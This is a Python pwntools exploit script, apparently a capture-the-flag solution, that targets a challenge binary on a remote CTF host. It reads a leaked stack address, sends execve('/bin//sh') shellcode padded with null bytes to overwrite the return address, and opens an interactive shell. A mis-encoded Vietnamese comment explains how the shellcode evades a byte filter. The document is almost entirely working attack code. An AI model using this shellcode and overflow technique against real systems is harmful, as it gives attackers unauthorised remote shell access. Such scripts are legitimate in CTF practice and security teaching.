from pwn import *
elf = context.binary = ELF("./chall")
r = elf.process()
r = remote("tjc.tf", 31365)
# gdb.attach(r,
# '''
# b*main+240\n
# c
# ''')
lek_addr = int(r.recv(),16)
log.success(f"Leak address: {hex(lek_addr)}")
shellcode = b"\xB8\x00\x00\x00\x00\x48\x31\xFF\x57\x48\xBF\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x57\x48\x31\xF6\x48\x31\xD2\x48\x89\xE7\x48\x31\xC0\x48\x83\xC0\x3B\x0F\x05"
#Shellcode tรดi thรชm 1 cรขu lแปnh cรณ cรกc byte NULL lร ฤแป pass vรฒng lแบทp kiแปm tra giรก trแป 05 vร 15 trong chuแปi
payload = shellcode
payload += b"\x00"*(264-38) #padding
payload += p64(lek_addr)
r.sendline(payload)
r.interactive()